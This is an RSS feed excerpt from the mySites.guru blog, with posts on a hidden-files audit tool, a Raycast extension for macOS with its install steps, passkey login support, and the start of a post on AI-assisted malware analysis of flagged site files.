&lt;p&gt;&lt;img alt=&quot;The all-sites hidden files view showing hidden file counts across every connected site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3690px) 3690px, 100vw&quot; width=&quot;3690&quot; height=&quot;2192&quot; src=&quot;https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_2d1yCD.webp&quot; srcset=&quot;https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_1O1bx0.webp 640w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_1YWAnf.webp 750w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_e6IYa.webp 828w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_Z236E4J.webp 1080w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_1Qvjiq.webp 1280w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_1mWf9E.webp 1668w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_Z116nyx.webp 2048w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_flfzH.webp 2560w, https://mysites.guru/_astro/hidden-files-allsites.nUqfRMfK_2d1yCD.webp 3690w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The hidden files tool works on Joomla, WordPress, and any PHP application connected to mySites.guru. Same scan regardless of platform.&lt;/p&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;Already a mySites.guru subscriber? Run an audit on any site and look for the &lt;strong&gt;Hidden Files&lt;/strong&gt; result in the Files Information section. Click through to review what’s lurking on your server.&lt;/p&gt;
&lt;p&gt;Not using mySites.guru yet? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Run a free audit&lt;/a&gt; and connect your first site in under two minutes. The first audit usually surfaces a few surprises.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Learn more in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Security</category><category>Audit Tools</category><category>Joomla</category><category>WordPress</category><enclosure url="https://mysites.guru/img/og/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about.webp" length="0" type="image/webp"/></item><item><title>mySites.guru Raycast Extension for Mac</title><link>https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/</guid><description>Free Raycast extension for mySites.guru on macOS. Search your managed sites, open management pages, and copy URLs without leaving the keyboard.</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve had an &lt;a href=&quot;https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/&quot;&gt;Alfred workflow&lt;/a&gt; for this for a while, but a lot of Mac users have moved to &lt;a href=&quot;https://www.raycast.com/&quot;&gt;Raycast&lt;/a&gt; and kept asking for a native extension. So here it is.&lt;/p&gt;
&lt;p&gt;Type “mys” into Raycast and the mySites.guru Site Search command appears at the top:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Raycast showing mySites.guru Site Search command&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1872px) 1872px, 100vw&quot; width=&quot;1872&quot; height=&quot;1320&quot; src=&quot;https://mysites.guru/_astro/raycast-search.DsCkLy9R_Z1j1lkE.webp&quot; srcset=&quot;https://mysites.guru/_astro/raycast-search.DsCkLy9R_ZYGxfC.webp 640w, https://mysites.guru/_astro/raycast-search.DsCkLy9R_bPP0T.webp 750w, https://mysites.guru/_astro/raycast-search.DsCkLy9R_1qwtcR.webp 828w, https://mysites.guru/_astro/raycast-search.DsCkLy9R_ZVOuWF.webp 1080w, https://mysites.guru/_astro/raycast-search.DsCkLy9R_Ps2vF.webp 1280w, https://mysites.guru/_astro/raycast-search.DsCkLy9R_ZLEUhc.webp 1668w, https://mysites.guru/_astro/raycast-search.DsCkLy9R_Z1j1lkE.webp 1872w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then press Enter to open the command and you will see a list of your sites.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Your mySites.guru sites listed in Raycast with favicons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1872px) 1872px, 100vw&quot; width=&quot;1872&quot; height=&quot;1320&quot; src=&quot;https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_13r3ph.webp&quot; srcset=&quot;https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_2icN94.webp 640w, https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_ZxBb8R.webp 750w, https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_1fv1YX.webp 828w, https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_Z2nQIzu.webp 1080w, https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_Z1ccoOS.webp 1280w, https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_19Hfmc.webp 1668w, https://mysites.guru/_astro/raycast-sites-list.Cv7UMy52_13r3ph.webp 1872w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hit Enter to load the Manage Site page for that site. Or use ⌘K in Raycast to view more options like opening the site in your browser or copying the URL.&lt;/p&gt;
&lt;h2&gt;What does it do?&lt;/h2&gt;
&lt;p&gt;Type a few characters in Raycast and you get a filtered list of every site connected to your mySites.guru account, with favicons. From there you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open the management page for any site in one keystroke&lt;/li&gt;
&lt;li&gt;Visit the live site in your browser&lt;/li&gt;
&lt;li&gt;Copy the site URL or management URL to your clipboard&lt;/li&gt;
&lt;li&gt;Refresh the site list on demand with ⌘R&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Results are cached for 5 minutes so it feels instant.&lt;/p&gt;
&lt;p&gt;If you manage dozens or hundreds of sites, this changes the workflow. Instead of logging into the mySites.guru dashboard, finding the site, and clicking through, you just type a few letters and you’re there. Pair it with &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; and you can go from “I need to check that site” to logged into its admin panel in about three seconds.&lt;/p&gt;
&lt;p&gt;We also have a &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; inside the mySites.guru dashboard itself if you prefer to stay in the browser.&lt;/p&gt;
&lt;h2&gt;What is Raycast?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Raycast - Your shortcut to everything&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1264px) 1264px, 100vw&quot; width=&quot;1264&quot; height=&quot;704&quot; src=&quot;https://mysites.guru/_astro/raycast-tagline.D17vYjol_Zrktxo.webp&quot; srcset=&quot;https://mysites.guru/_astro/raycast-tagline.D17vYjol_6A5mc.webp 640w, https://mysites.guru/_astro/raycast-tagline.D17vYjol_1nb2o3.webp 750w, https://mysites.guru/_astro/raycast-tagline.D17vYjol_20qWcS.webp 828w, https://mysites.guru/_astro/raycast-tagline.D17vYjol_ZnPXg5.webp 1080w, https://mysites.guru/_astro/raycast-tagline.D17vYjol_Zrktxo.webp 1264w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you haven’t come across it yet, &lt;a href=&quot;https://www.raycast.com/&quot;&gt;Raycast&lt;/a&gt; is a keyboard launcher for macOS that replaces Spotlight. You hit a hotkey, type what you want, and things happen. Apps open, files appear, calculations get done, windows snap into place. It responds in milliseconds.&lt;/p&gt;
&lt;p&gt;But the launcher is just one part of it. Raycast also ships with clipboard history, window management, snippet expansion, quick notes, a calculator, calendar, and emoji picker. All keyboard-driven, all fast. If you’ve ever had five separate utility apps running to cover all that, Raycast replaces the lot.&lt;/p&gt;
&lt;h3&gt;The extension store&lt;/h3&gt;
&lt;p&gt;The real reason we built for Raycast is the extension system. There’s a store with thousands of extensions for tools you probably already use: GitHub, Notion, Linear, Slack, Figma, 1Password, VS Code, Todoist. Extensions are built with React and TypeScript, so any web developer can build one without learning anything new.&lt;/p&gt;
&lt;p&gt;Our mySites.guru extension is distributed from &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension&quot;&gt;GitHub&lt;/a&gt; rather than the Raycast Store, but once installed it works exactly like any other Raycast command.&lt;/p&gt;
&lt;h3&gt;Free where it matters&lt;/h3&gt;
&lt;p&gt;The base Raycast app is free, and extensions work on the free tier. There’s a paid Pro plan for AI features and cloud sync, but you don’t need it for the mySites.guru extension or most of the store. Compare that to Alfred, where you need the paid PowerPack (£34+) before workflows do anything at all.&lt;/p&gt;
&lt;p&gt;If you’re already on Raycast, our extension drops straight in. If you’re still on Spotlight, this might be worth a look.&lt;/p&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;The extension is hosted on GitHub. &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension/releases/latest&quot;&gt;Download the latest release&lt;/a&gt; to get started.&lt;/p&gt;
&lt;p&gt;You’ll get a &lt;code&gt;.zip&lt;/code&gt; file containing the extension source. No Raycast Store install needed - you run it locally as a dev extension, which takes about 30 seconds.&lt;/p&gt;
&lt;p&gt;If you’d rather clone the repo directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; clone&lt;/span&gt;&lt;span&gt; https://github.com/mySites-guru/raycast-extension.git&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;How do you install it?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension/releases/latest&quot;&gt;latest release from GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Extract the archive and run:
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;npm&lt;/span&gt;&lt;span&gt; install&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;npm&lt;/span&gt;&lt;span&gt; run&lt;/span&gt;&lt;span&gt; dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Raycast will prompt you for your API token on first launch&lt;/li&gt;
&lt;li&gt;Get the token from &lt;a href=&quot;https://manage.mysites.guru/en/sites/screenshots&quot;&gt;manage.mysites.guru/en/sites/screenshots&lt;/a&gt; (enable “Public Site Screenshots” first if you haven’t already)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s it. Start typing a site name and your sites appear.&lt;/p&gt;
&lt;p&gt;On first launch, Raycast will show the welcome screen where you paste your token:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Raycast extension welcome screen&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1872px) 1872px, 100vw&quot; width=&quot;1872&quot; height=&quot;1320&quot; src=&quot;https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_Z10EHpJ.webp&quot; srcset=&quot;https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_1uu5ik.webp 640w, https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_JfNpa.webp 750w, https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_i8BcQ.webp 828w, https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_29TEUo.webp 1080w, https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_ZfTgRk.webp 1280w, https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_Z2408vJ.webp 1668w, https://mysites.guru/_astro/raycast-welcome.BAG7RGbG_Z10EHpJ.webp 1872w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Can you use the same token as Alfred?&lt;/h2&gt;
&lt;p&gt;If you already set up the Alfred workflow, you already have a token. The Raycast extension uses the same one, same API, same endpoint. You can run both side by side if you want.&lt;/p&gt;
&lt;h2&gt;Is it open source?&lt;/h2&gt;
&lt;p&gt;The extension is &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension&quot;&gt;open source on GitHub&lt;/a&gt; under the MIT license. Pull requests welcome if you want to add something.&lt;/p&gt;
&lt;h2&gt;Not on mySites.guru yet?&lt;/h2&gt;
&lt;p&gt;If you’re managing multiple WordPress or Joomla sites and don’t have a mySites.guru account, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt; to see what it does. The Raycast extension works on all plans, including the free tier. Check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; or go straight to &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; if you already know what you need.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of several productivity tools in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>raycast</category><category>mac</category><category>productivity</category><category>workflow</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-raycast-extension-for-mac.webp" length="0" type="image/webp"/></item><item><title>mySites.guru supports login with Passkeys</title><link>https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/</link><guid isPermaLink="true">https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/</guid><description>mySites.guru supports login with passkeys - Face ID, Touch ID, Windows Hello, or any FIDO2 device. Faster than passwords, impossible to phish.</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Passwords are the worst part of logging in to anything. You know it. We know it. So we added passkey support to mySites.guru - mainly for security, but also to make logging in a lot easier - no more passwords to remember!&lt;/p&gt;
&lt;h2&gt;What is a passkey?&lt;/h2&gt;
&lt;p&gt;A passkey is a replacement for typed passwords. Instead of remembering (or more likely, forgetting) a string of characters, your device creates a pair of cryptographic keys when you register. One stays on your device, locked behind your fingerprint, face, or screen PIN. The other goes to the server. When you log in, the two keys do a handshake and you’re authenticated. You never type anything.&lt;/p&gt;
&lt;p&gt;The important bit: the private key never leaves your device. It can’t be copied, emailed, pasted into a phishing form, or found in a data breach. If someone steals the server’s database, they get the public key, which is useless on its own.&lt;/p&gt;
&lt;p&gt;Passkeys are built on the FIDO2 and WebAuthn standards, developed by the &lt;a href=&quot;https://fidoalliance.org/&quot;&gt;FIDO Alliance&lt;/a&gt;. The Alliance is an industry group formed in 2012 with one goal: kill passwords. Its members include Apple, Google, Microsoft, Amazon, and hundreds of other companies. They wrote the spec that makes passkeys work the same way across every browser and operating system. When you register a passkey on mySites.guru, you’re using the same open protocol that Google, GitHub, and PayPal use for their logins. Nothing proprietary, nothing locked to a single vendor.&lt;/p&gt;
&lt;h2&gt;What actually happens when you use a passkey at mySites.guru?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Sign in with Passkey on mySites.guru&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1192px) 1192px, 100vw&quot; width=&quot;1192&quot; height=&quot;842&quot; src=&quot;https://mysites.guru/_astro/passkey-login-screen.TTWHLGuc_1LBWNk.webp&quot; srcset=&quot;https://mysites.guru/_astro/passkey-login-screen.TTWHLGuc_Z3djH4.webp 640w, https://mysites.guru/_astro/passkey-login-screen.TTWHLGuc_Ap6wC.webp 750w, https://mysites.guru/_astro/passkey-login-screen.TTWHLGuc_Z2afsHd.webp 828w, https://mysites.guru/_astro/passkey-login-screen.TTWHLGuc_Z1gQDwQ.webp 1080w, https://mysites.guru/_astro/passkey-login-screen.TTWHLGuc_1LBWNk.webp 1192w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You enter your username, and click the “Sign in with Passkey” button, your device asks for your fingerprint or face, and you’re in. No typing. No paste-from-password-manager dance. No “was it the one with the capital letter and the exclamation mark?”&lt;/p&gt;
&lt;p&gt;If you are using 1Password, you can use the browser extension to register and sign in with passkeys. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being locked to a single platform’s ecosystem.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;1Password passkey sign-in prompt for mySites.guru&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1112px) 1112px, 100vw&quot; width=&quot;1112&quot; height=&quot;590&quot; src=&quot;https://mysites.guru/_astro/passkey-1password-prompt.BI4HTIuS_3oIhH.webp&quot; srcset=&quot;https://mysites.guru/_astro/passkey-1password-prompt.BI4HTIuS_ZCgv1n.webp 640w, https://mysites.guru/_astro/passkey-1password-prompt.BI4HTIuS_Z1TbhKa.webp 750w, https://mysites.guru/_astro/passkey-1password-prompt.BI4HTIuS_Z2eBgSN.webp 828w, https://mysites.guru/_astro/passkey-1password-prompt.BI4HTIuS_ZgMmbh.webp 1080w, https://mysites.guru/_astro/passkey-1password-prompt.BI4HTIuS_3oIhH.webp 1112w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Under the hood, your device holds a private cryptographic key that never leaves it. The server only sees the public half. There’s nothing to intercept, nothing to leak in a database breach, and nothing that works on a phishing site pretending to be us.&lt;/p&gt;
&lt;h2&gt;Why does this matter if you manage client sites?&lt;/h2&gt;
&lt;p&gt;Although our service has a long session time, if you logout and are logging in to mySites.guru several times a day to check on client sites, the speed difference is noticeable. But the real win is security.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members on your account&lt;/a&gt;, you no longer have to wonder whether Dave from accounting is reusing his Gmail password for your site management dashboard. His passkey is bound to his device and the mysites.guru domain. Can’t be reused, shared, or phished.&lt;/p&gt;
&lt;h2&gt;What devices are supported?&lt;/h2&gt;
&lt;p&gt;Anything that speaks WebAuthn/FIDO2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Face ID and Touch ID on Apple devices (syncs via iCloud Keychain)&lt;/li&gt;
&lt;li&gt;Fingerprint or face unlock on Android (syncs via Google Password Manager)&lt;/li&gt;
&lt;li&gt;Windows Hello - fingerprint, face, or PIN&lt;/li&gt;
&lt;li&gt;Hardware security keys like YubiKey 5 or Google Titan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Account page&lt;/a&gt; and look for the WebAuthn Authentication section. Click &lt;strong&gt;Register new WebAuthn device or Passkeys&lt;/strong&gt;, authenticate with your device, and you’re done.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Passkey registration in mySites.guru&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1612px) 1612px, 100vw&quot; width=&quot;1612&quot; height=&quot;1108&quot; src=&quot;https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_1BMLXv.webp&quot; srcset=&quot;https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_Z1c3Xi.webp 640w, https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_Z2jDBSE.webp 750w, https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_ZUFSvn.webp 828w, https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_22Jg6W.webp 1080w, https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_ZgzTEU.webp 1280w, https://mysites.guru/_astro/passkey-registration-screen.CPnq4FSN_1BMLXv.webp 1612w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can register multiple passkeys if you use several devices. Next time you log in, you’ll see the “Sign in with Passkey” button on the login screen.&lt;/p&gt;
&lt;p&gt;Your password still works as a fallback - passkeys are an additional login method, not a replacement.&lt;/p&gt;
&lt;h2&gt;How do passkeys compare to 2FA?&lt;/h2&gt;
&lt;p&gt;Two Factor Authentication adds a second step after your password (usually a 6-digit code). Passkeys skip the password step entirely and authenticate you in one action. Both are better than a password alone, but passkeys are faster and resistant to phishing in a way that SMS and TOTP codes aren’t.&lt;/p&gt;
&lt;p&gt;If an attacker tricks you into entering your password and 2FA code on a fake site, they can replay both within seconds. A passkey won’t authenticate against a fake domain at all - the cryptography simply doesn’t work unless the domain matches.&lt;/p&gt;
&lt;h2&gt;Is mySites.guru listed on passkey directories?&lt;/h2&gt;
&lt;p&gt;mySites.guru is listed on &lt;a href=&quot;https://passkeys.directory/&quot;&gt;passkeys.directory&lt;/a&gt; and &lt;a href=&quot;https://www.passkeys.com/&quot;&gt;passkeys.com&lt;/a&gt; as a service that supports passkey login. If you’re checking whether a tool you use supports passkeys, those two sites maintain up-to-date lists. We’re on both.&lt;/p&gt;
&lt;h2&gt;Why do we recommend 1Password?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://1password.com/&quot;&gt;&lt;img alt=&quot;1Password&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1813px) 1813px, 100vw&quot; width=&quot;1813&quot; height=&quot;348&quot; src=&quot;https://mysites.guru/_astro/1password-logo.BOrDed75_Z12jVzB.webp&quot; srcset=&quot;https://mysites.guru/_astro/1password-logo.BOrDed75_ZPVrGy.webp 640w, https://mysites.guru/_astro/1password-logo.BOrDed75_Z27UCbo.webp 750w, https://mysites.guru/_astro/1password-logo.BOrDed75_Z2vRbVA.webp 828w, https://mysites.guru/_astro/1password-logo.BOrDed75_ZIWU7G.webp 1080w, https://mysites.guru/_astro/1password-logo.BOrDed75_ZXhrwH.webp 1280w, https://mysites.guru/_astro/1password-logo.BOrDed75_1zWWYl.webp 1668w, https://mysites.guru/_astro/1password-logo.BOrDed75_Z12jVzB.webp 1813w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you’re not already using &lt;a href=&quot;https://1password.com/&quot;&gt;1Password&lt;/a&gt;, you should be. We use it ourselves and it’s the best way to manage passkeys across devices.&lt;/p&gt;
&lt;p&gt;1Password stores your passkeys alongside your passwords, credit cards, and secure notes in one encrypted vault. Their browser extension handles passkey registration and login automatically - when mySites.guru prompts for a passkey, 1Password picks it up. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being locked to a single platform’s ecosystem.&lt;/p&gt;
&lt;p&gt;Where 1Password really pays off for agencies is sharing. You can create shared vaults for your team, so if someone needs access to a shared account (not mySites.guru - use team accounts for that - but the dozens of other services your agency depends on), you don’t end up with passwords in Slack DMs or shared Google Docs. Everything stays encrypted and auditable.&lt;/p&gt;
&lt;p&gt;It also generates strong unique passwords for the sites that don’t support passkeys yet, which in 2026 is still most of them. If you’re managing 50+ client sites and their associated hosting accounts, DNS providers, CDNs, and email services, a password manager isn’t optional. 1Password is the one we’d pick.&lt;/p&gt;
&lt;h2&gt;Which plans include passkey support?&lt;/h2&gt;
&lt;p&gt;Passkeys are available on all plans, including team member accounts. There’s nothing extra to pay for. Combined with &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; to your connected sites and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time login alerts&lt;/a&gt;, you’ve got a pretty solid security setup.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Set Up Your Passkey Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;small&gt;FIDO® and the stylized FIDO logo are trademarks (registered in numerous countries) of FIDO Alliance, Inc. The passkey icon is a trademark of FIDO Alliance, Inc.&lt;/small&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Account security is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>passkeys</category><category>authentication</category><enclosure url="https://mysites.guru/img/og/blog/passkeys-for-secure-login-to-mysites.webp" length="0" type="image/webp"/></item><item><title>AI-Powered Malware Analysis Now Available in mySites.guru</title><link>https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/</guid><description>Send flagged suspect files to Claude or GPT for instant malware analysis. Crowdsourced cached results shared across all subscribers.</description><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You run a security audit on your Joomla site. Result? &lt;strong&gt;47 files flagged as “Suspect Content.”&lt;/strong&gt; OH NO!!!!!&lt;/p&gt;
&lt;p&gt;If you ended up here because something looks wrong with your site, start by &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;checking whether your WordPress site is actually hacked&lt;/a&gt; - then use our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; as a starting point before you dig into this level of detail.&lt;/p&gt;
&lt;p&gt;Which are actual malware? Which are false positives? Do you spend hours reviewing PHP code or wait days for expert analysis? Before anything else, it helps to know &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;the difference between a plain Suspect Content flag and a red Hacked File badge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;191&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.12@2x-1024x191.LWDNPFwQ_Zgqnzq.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.12@2x-1024x191.LWDNPFwQ_1Lk0js.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.12@2x-1024x191.LWDNPFwQ_2pkLdo.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.12@2x-1024x191.LWDNPFwQ_duS1i.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.12@2x-1024x191.LWDNPFwQ_Zgqnzq.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;AI-Powered Malware Analysis: when our audit tools flag suspicious files, you can now send any file to AI for expert analysis with one click.&lt;/p&gt;
&lt;p&gt;Results come back as plain verdicts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;“This is a false positive - safe to ignore”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;“This is suspicious - review line 42”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;“This is malware - remove immediately”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The crowdsourced cached results change the economics: when you or anyone else analyzes a file with our AI integration and gets a definitive result (SAFE or MALWARE), that result is stored globally by file hash. If someone else already analyzed that file - same hash, same file contents - you get instant results at no cost. Your analyses help others and theirs help you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(No details on your domains, your site, or personal information is shared, the hash of the file contents and the result is all that we store)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Example malware extracts from the AI analysis:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;669&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.17.09@2x-1024x669.BUbyuS4u_1LhclM.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.17.09@2x-1024x669.BUbyuS4u_1XaSpc.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.17.09@2x-1024x669.BUbyuS4u_ZoaYEh.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.17.09@2x-1024x669.BUbyuS4u_Z24TU4t.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.17.09@2x-1024x669.BUbyuS4u_1LhclM.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;531&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.19.18@2x-1024x531.CbKkjbAH_Z27Ky3z.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.19.18@2x-1024x531.CbKkjbAH_Z1ONMpO.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.19.18@2x-1024x531.CbKkjbAH_2nHhNl.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.19.18@2x-1024x531.CbKkjbAH_1PoAbJ.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.19.18@2x-1024x531.CbKkjbAH_Z27Ky3z.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why did we wait to add AI?&lt;/h2&gt;
&lt;p&gt;Every company rushed to add “AI-powered” to their product - chatbots that frustrated users, buzzwords without substance.&lt;/p&gt;
&lt;p&gt;For over a decade, we’ve secured Joomla and WordPress sites. We knew our audit system worked well at finding threats, but it casts a wide net, meaning false positives. Users had to review code themselves or wait for us to review files manually.&lt;/p&gt;
